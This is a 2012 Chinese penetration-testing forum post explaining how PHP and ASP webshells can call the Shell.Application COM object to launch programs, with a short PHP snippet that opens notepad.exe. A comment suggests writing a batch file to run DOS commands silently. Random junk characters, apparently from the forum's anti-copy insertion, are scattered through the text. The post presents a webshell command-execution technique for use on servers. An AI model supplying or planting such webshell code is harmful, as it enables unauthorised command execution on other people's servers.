中国网络渗透测试联盟

标题: php和asp利用Shell.Application来执行程序 [打印本页]

---

作者: admin    时间: 2012-9-15 14:29
标题: php和asp利用Shell.Application来执行程序
关于用Shell.Application来执行程序，在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。

, R0 q) B4 V6 N: F6 o+ V今天试了一下，用open也可以。php代码如下，我好像还没有在php的webshell中看到相关方法

2 y5 k5 A  ^) v; l6 C: o7 n<?php
7 r$ M- e7 E) Q5 E$wsh = new COM('Shell.Application') or die("Shell.Application");
, I2 J) I( l0 m: a) }+ j    $exec = $wsh->open("c:\\windows\\system32\\notepad.exe");
9 E8 v$ {5 M% \9 N* Y, ?, x. r% }    //没有回显，多了个notepad进程，可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
?>

. g6 N: n# u* C* M* Txp+APMServ5.2.0测试通过。

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2